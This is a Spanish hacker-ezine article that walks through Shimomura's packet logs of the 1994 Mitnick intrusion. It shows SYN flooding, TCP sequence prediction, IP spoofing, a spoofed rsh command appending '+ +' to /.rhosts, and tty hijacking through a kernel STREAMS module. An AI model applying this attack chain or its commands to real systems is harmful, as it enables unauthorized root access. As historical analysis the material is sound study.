Copy Link
Add to Bookmark
Report

3.02 - Como Mitnick Hackeo a Tsumo S.

eZine's profile picture
Published in 
acid klan
 · 2 years ago

Estos datos fueron obtenidos directo de los logs de Tsutomu Shimomura...
Vean este texto como un tributo a Kevin Mitnick, no porque crea que es el mejor hacker (de serlo nunca hubiera aceptado un reto publico y mucho menos lo hubieran atrapado) sino que le dedico esto porque entiendo lo que se siente estar en prision y mas aun lo que es pasar tanto tiempo sin poder acercarse a ningun aparato de telecomunicaciones.

Dos diferentes mecanismos de ataque se emprearon. Spoofin de la IP fuente y una secuencia de prediccion de numeros TCP para ganar acceso a una estacion de trabajo sin disco utilizada como terminal X. Despues de ganar root, secuestro una conexion a otro sistema fue secuestrada por medio de STREAMS cargables del kernel.

En este texto hay partes extraidas de los logs de paquetes generados por este ataque. Para mantener la claridad y brevedad, algunos datos han sido omitidos. Les recomiendo el articulo de Stebe Bellovin y algunos mas acerca de Spoofin de IPs, ya que el describe con mas detalle la semantica de las conexiones TCP, asi como algunas sugerencias de como contrarrestar estos ataques.

Mi configuracion es la siguiente:

server = SPARC corriendo Solaris 1 sirviendo a mi terminal X.
x-terminal = SPARC sin discos corriendo Solaris 1
blanco = El blanco primario aparente del ataque.

El spoofing de IP empezo a las 14:09:32 el 25/12/94. Las primeras pruebas fueron desde toad.com (informacion obtenida el los logs de paquetes):

toad.com# finger -l @target14:10:21 toad.com# finger -l @server 
toad.com# finger -l root@server14:11:07 toad.com# finger -l @x-terminal
toad.com# showmount -e x-terminal
toad.com# rpcinfo -p x-terminal
toad.com# finger -l root@x-terminal

El proposito aparente de estas pruebas es determinar si habia alguna forma de relacion de confianza entre estos sistemas que pudiera ser explotada :) Los puertos fuente para el showmount y rcpinfo indican que el atacante es root en toad.com. Seis minutos despues, vemos un monton de TCP SYNs (que son peticiones iniciales de conexion) desde 130.92.6.97 al puerto 513 (login) del servidor. El proposito de estos SYNs es el llenar la cola de conexion del puerto 513 en el servidor con conexiones "a medias" para que no conteste a ninguna nueva conexion. En particular, no generara TCP RSTs en respuesta a los reconocimientos de los SYNs.

Como el puerto 513 es tambien un puerto "privilegiado", server.login puede ser usado como fuente putativa para el spoofing de la IP en los servicios r de unix (rsh, rlogin). 130.92.6.97 parece ser una direccion no usada al azar (una que no contesta a los paquetes que se le envian).

130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096 
130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096
130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096
130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096
130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096
130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096
130.92.6.97.606 > server.login: S 1382726966:1382726966(0) win 4096
130.92.6.97.607 > server.login: S 1382726967:1382726967(0) win 4096
130.92.6.97.608 > server.login: S 1382726968:1382726968(0) win 4096
130.92.6.97.609 > server.login: S 1382726969:1382726969(0) win 4096
130.92.6.97.610 > server.login: S 1382726970:1382726970(0) win 4096
130.92.6.97.611 > server.login: S 1382726971:1382726971(0) win 4096
130.92.6.97.612 > server.login: S 1382726972:1382726972(0) win 4096
130.92.6.97.613 > server.login: S 1382726973:1382726973(0) win 4096
130.92.6.97.614 > server.login: S 1382726974:1382726974(0) win 4096
130.92.6.97.615 > server.login: S 1382726975:1382726975(0) win 4096
130.92.6.97.616 > server.login: S 1382726976:1382726976(0) win 4096
130.92.6.97.617 > server.login: S 1382726977:1382726977(0) win 4096
130.92.6.97.618 > server.login: S 1382726978:1382726978(0) win 4096
130.92.6.97.619 > server.login: S 1382726979:1382726979(0) win 4096
130.92.6.97.620 > server.login: S 1382726980:1382726980(0) win 4096
130.92.6.97.621 > server.login: S 1382726981:1382726981(0) win 4096
130.92.6.97.622 > server.login: S 1382726982:1382726982(0) win 4096
130.92.6.97.623 > server.login: S 1382726983:1382726983(0) win 4096
130.92.6.97.624 > server.login: S 1382726984:1382726984(0) win 4096
130.92.6.97.625 > server.login: S 1382726985:1382726985(0) win 4096
130.92.6.97.626 > server.login: S 1382726986:1382726986(0) win 4096
130.92.6.97.627 > server.login: S 1382726987:1382726987(0) win 4096
130.92.6.97.628 > server.login: S 1382726988:1382726988(0) win 4096
130.92.6.97.629 > server.login: S 1382726989:1382726989(0) win 4096

Los reconocimients de SYNs para los primeros 8 requests antes de que la conexion se llene. El server retransmitira periodicamente los reconocimientos de SYNs aun cuando no hay nada que reconocer en ellos. Ahora vemos 20 intentos de conexion desde apollo.it.luc.edu a la shell de x-terminal. El proposito de estos intentos es determinar el comportamiento del generador de secuencias TCP de la terminal X.

Fijate que los numeros iniciales de la secuencia se incrementan +1 en cada conexion, lo que indica que los paquetes SYN no son generados por la implementacion TCP del sistema. Estos resultados en RSTs convenientemente generados en respuesta a cada SYN no esperado, para que la cola de conexion en X-terminal no se llene completamente:

apollo.it.luc.edu.1000 > x-terminal.shell: S 1382726990:1382726990(0) win 4096 
x-terminal.shell > apollo.it.luc.edu.1000: S 2021824000:2021824000(0) ack 1382726991 win 4096
apollo.it.luc.edu.1000 > x-terminal.shell: R 1382726991:1382726991(0) win 0
apollo.it.luc.edu.999 > x-terminal.shell: S 1382726991:1382726991(0) win 4096
x-terminal.shell > apollo.it.luc.edu.999: S 2021952000:2021952000(0) ack 1382726992 win 4096
apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0
apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0
apollo.it.luc.edu.998 > x-terminal.shell: S 1382726992:1382726992(0) win 4096
x-terminal.shell > apollo.it.luc.edu.998: S 2022080000:2022080000(0) ack 1382726993 win 4096
apollo.it.luc.edu.998 > x-terminal.shell: R 1382726993:1382726993(0) win 0
apollo.it.luc.edu.997 > x-terminal.shell: S 1382726993:1382726993(0) win 4096
x-terminal.shell > apollo.it.luc.edu.997: S 2022208000:2022208000(0) ack 1382726994 win 4096
apollo.it.luc.edu.997 > x-terminal.shell: R 1382726994:1382726994(0) win 0
apollo.it.luc.edu.996 > x-terminal.shell: S 1382726994:1382726994(0) win 4096
x-terminal.shell > apollo.it.luc.edu.996: S 2022336000:2022336000(0) ack 1382726995 win 4096
apollo.it.luc.edu.996 > x-terminal.shell: R 1382726995:1382726995(0) win 0
apollo.it.luc.edu.995 > x-terminal.shell: S 1382726995:1382726995(0) win 4096
x-terminal.shell > apollo.it.luc.edu.995: S 2022464000:2022464000(0) ack 1382726996 win 4096
apollo.it.luc.edu.995 > x-terminal.shell: R 1382726996:1382726996(0) win 0
apollo.it.luc.edu.994 > x-terminal.shell: S 1382726996:1382726996(0) win 4096
x-terminal.shell > apollo.it.luc.edu.994: S 2022592000:2022592000(0) ack 1382726997 win 4096
apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0
apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0
apollo.it.luc.edu.993 > x-terminal.shell: S 1382726997:1382726997(0) win 4096
x-terminal.shell > apollo.it.luc.edu.993: S 2022720000:2022720000(0) ack 1382726998 win 4096
apollo.it.luc.edu.993 > x-terminal.shell: R 1382726998:1382726998(0) win 0
apollo.it.luc.edu.992 > x-terminal.shell: S 1382726998:1382726998(0) win 4096
x-terminal.shell > apollo.it.luc.edu.992: S 2022848000:2022848000(0) ack 1382726999 win 4096
apollo.it.luc.edu.992 > x-terminal.shell: R 1382726999:1382726999(0) win 0
apollo.it.luc.edu.991 > x-terminal.shell: S 1382726999:1382726999(0) win 4096
x-terminal.shell > apollo.it.luc.edu.991: S 2022976000:2022976000(0) ack 1382727000 win 4096
apollo.it.luc.edu.991 > x-terminal.shell: R 1382727000:1382727000(0) win 0
apollo.it.luc.edu.990 > x-terminal.shell: S 1382727000:1382727000(0) win 4096
x-terminal.shell > apollo.it.luc.edu.990: S 2023104000:2023104000(0) ack 1382727001 win 4096
apollo.it.luc.edu.990 > x-terminal.shell: R 1382727001:1382727001(0) win 0
apollo.it.luc.edu.989 > x-terminal.shell: S 1382727001:1382727001(0) win 4096
x-terminal.shell > apollo.it.luc.edu.989: S 2023232000:2023232000(0) ack 1382727002 win 4096
apollo.it.luc.edu.989 > x-terminal.shell: R 1382727002:1382727002(0) win 0
apollo.it.luc.edu.988 > x-terminal.shell: S 1382727002:1382727002(0) win 4096
x-terminal.shell > apollo.it.luc.edu.988: S 2023360000:2023360000(0) ack 1382727003 win 4096
apollo.it.luc.edu.988 > x-terminal.shell: R 1382727003:1382727003(0) win 0
apollo.it.luc.edu.987 > x-terminal.shell: S 1382727003:1382727003(0) win 4096
x-terminal.shell > apollo.it.luc.edu.987: S 2023488000:2023488000(0) ack 1382727004 win 4096
apollo.it.luc.edu.987 > x-terminal.shell: R 1382727004:1382727004(0) win 0
apollo.it.luc.edu.986 > x-terminal.shell: S 1382727004:1382727004(0) win 4096
x-terminal.shell > apollo.it.luc.edu.986: S 2023616000:2023616000(0) ack 1382727005 win 4096
apollo.it.luc.edu.986 > x-terminal.shell: R 1382727005:1382727005(0) win 0
apollo.it.luc.edu.985 > x-terminal.shell: S 1382727005:1382727005(0) win 4096
x-terminal.shell > apollo.it.luc.edu.985: S 2023744000:2023744000(0) ack 1382727006 win 4096
apollo.it.luc.edu.985 > x-terminal.shell: R 1382727006:1382727006(0) win 0
apollo.it.luc.edu.984 > x-terminal.shell: S 1382727006:1382727006(0) win 4096
x-terminal.shell > apollo.it.luc.edu.984: S 2023872000:2023872000(0) ack 1382727007 win 4096
apollo.it.luc.edu.984 > x-terminal.shell: R 1382727007:1382727007(0) win 0
apollo.it.luc.edu.983 > x-terminal.shell: S 1382727007:1382727007(0) win 4096
x-terminal.shell > apollo.it.luc.edu.983: S 2024000000:2024000000(0) ack 1382727008 win 4096
apollo.it.luc.edu.983 > x-terminal.shell: R 1382727008:1382727008(0) win 0
apollo.it.luc.edu.982 > x-terminal.shell: S 1382727008:1382727008(0) win 4096
x-terminal.shell > apollo.it.luc.edu.982: S 2024128000:2024128000(0) ack 1382727009 win 4096
apollo.it.luc.edu.982 > x-terminal.shell: R 1382727009:1382727009(0) win 0
apollo.it.luc.edu.981 > x-terminal.shell: S 1382727009:1382727009(0) win 4096
x-terminal.shell > apollo.it.luc.edu.981: S 2024256000:2024256000(0) ack 1382727010 win 4096
apollo.it.luc.edu.981 > x-terminal.shell: R 1382727010:1382727010(0) win 0

Fijate que cada reconocimiento de paquete SYN enviada por la terminar tiene una secuencua de 128,000 mas grande que la anterior.

Ahora vemos un SYN supuestamente del server.login a x-terminal.shell. Se presume que la x-terminal confia en el server asi que hara todo lo que le pida este (o lo que sea que se disfrace de server.

la X-terminal contesta al server con un reconocimiento de SYN que debe ser reconocido para poder abrir la conexion. Como el servidor esta ignorando los paquetes enviandos al login (acuerdate que la cola esta llena), el reconocimiento debe ser introducido por el atacante.

Normalmente el numero de secuencia de reconocimiento del SYN es necesario para poder generar un reconocimiento valido. Como sea, el atacante es capaz de predecir el numero de secuenca contenido en el reconocimiento del SYN basadi en el comportamiento del generador de secuencias de TCP de la terminal X, y asi es capaz de reconocer el SYN sin verlo:

server.login > x-terminal.shell: S 1382727010:138  2727010(0) win 4096 
server.login > x-terminal.shell: . ack 2024384001 win 4096

La maquina de spoofing ahora tiene conexion de un a via a la shell de la terminal X que parece ser de server.login y puede mantener la conexion y mandar datos ya que puede reconocer datos enviado s por la terminal x.

Manda lo siguiente:

server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096 
server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096
server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096

que correponde a server# rsh x-terminal "echo + + >>/.rhosts"

Tiempo total tran scurrido desde el primer paquete: < 16 segundos
Ahora se apaga la conexion spoofeada:

server.login > x-terminal.shell: . ack 2 win 4096 
server.login > x-terminal.shell: . ack 3 win 4096
server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096
server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096
server.login > x-terminal.shell: R 1382727044:1382727044(0) win 4096

Ahoar vemos RSTs para resetar las conexiones "a medias" y vacias la cola de conexion de server.login:

130.92.6.97.600 > server.login: R 1382726960:1382726960(0) win 4096 
130.92.6.97.601 > server.login: R 1382726961:1382726961(0) win 4096
130.92.6.97.602 > server.login: R 1382726962:1382726962(0) win 4096
130.92.6.97.603 > server.login: R 1382726963:1382726963(0) win 4096
130.92.6.97.604 > server.login: R 1382726964:1382726964(0) win 4096
130.92.6.97.605 > server.login: R 1382726965:1382726965(0) win 4096
130.92.6.97.606 > server.login: R 1382726966:1382726966(0) win 4096
130.92.6.97.607 > server.login: R 1382726967:1382726967(0) win 4096
130.92.6.97.608 > server.login: R 1382726968:1382726968(0) win 4096
130.92.6.97.609 > server.login: R 1382726969:1382726969(0) win 4096
130.92.6.97.610 > server.login: R 1382726970:1382726970(0) win 4096
130.92.6.97.611 > server.login: R 1382726971:1382726971(0) win 4096
130.92.6.97.612 > server.login: R 1382726972:1382726972(0) win 4096
130.92.6.97.613 > server.login: R 1382726973:1382726973(0) win 4096
130.92.6.97.614 > server.login: R 1382726974:1382726974(0) win 4096
130.92.6.97.615 > server.login: R 1382726975:1382726975(0) win 4096
130.92.6.97.616 > server.login: R 1382726976:1382726976(0) win 4096
130.92.6.97.617 > server.login: R 1382726977:1382726977(0) win 4096
130.92.6.97.618 > server.login: R 1382726978:1382726978(0) win 4096
130.92.6.97.619 > server.login: R 1382726979:1382726979(0) win 4096
130.92.6.97.620 > server.login: R 1382726980:1382726980(0) win 4096
130.92.6.97.621 > server.login: R 1382726981:1382726981(0) win 4096
130.92.6.97.622 > server.login: R 1382726982:1382726982(0) win 4096
130.92.6.97.623 > server.login: R 1382726983:1382726983(0) win 4096
130.92.6.97.624 > server.login: R 1382726984:1382726984(0) win 4096
130.92.6.97.625 > server.login: R 1382726985:1382726985(0) win 4096
130.92.6.97.626 > server.login: R 1382726986:1382726986(0) win 4096
130.92.6.97.627 > server.login: R 1382726987:1382726987(0) win 4096
130.92.6.97.628 > server.login: R 1382726988:1382726988(0) win 4096
130.92.6.97.629 > server.login: R 1382726989:1382726989(0) win 4096
server.login puede ahora aceptar conexiones.

Despues de sacar root por medio del spoofing de IP, se compila un modulo de kernel llamado tap-2.01 y se instala en x-terminal:x-terminal% modstat

Id  Type  Loadaddr      Size   B-major  C-major  Sysnum   Mod Name 
1 Pdrv ff050000 1000 59. tap/tap-2.01 alpha
x-terminal% ls -l /dev/tapcrwxrwxrwx 1 root 37, 59 Dec 25 14:40 /dev/tap

Este parece ser un modulo de kernel de STREAMS que puede ser empujado a las STREAMS existentes y es usado para tomar control de la tty. Fue usado para tomar control de una sesion de login ya autentificada mas o menos a las 14:51 PST.

Por supuesto, ningun ataque seria completo sin un toque personal... Checa:

ftp://ftp.sdsc.edu/pub/security/sounds/tweedle-dee.au
ftp://ftp.sdsc.edu/pub/security/sounds/tweedle-dum.au

Estan en formato de audio de Sun, 8-bit u-law, 8 khz.

By MIBXXX
mibxxx@acidklan.org

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT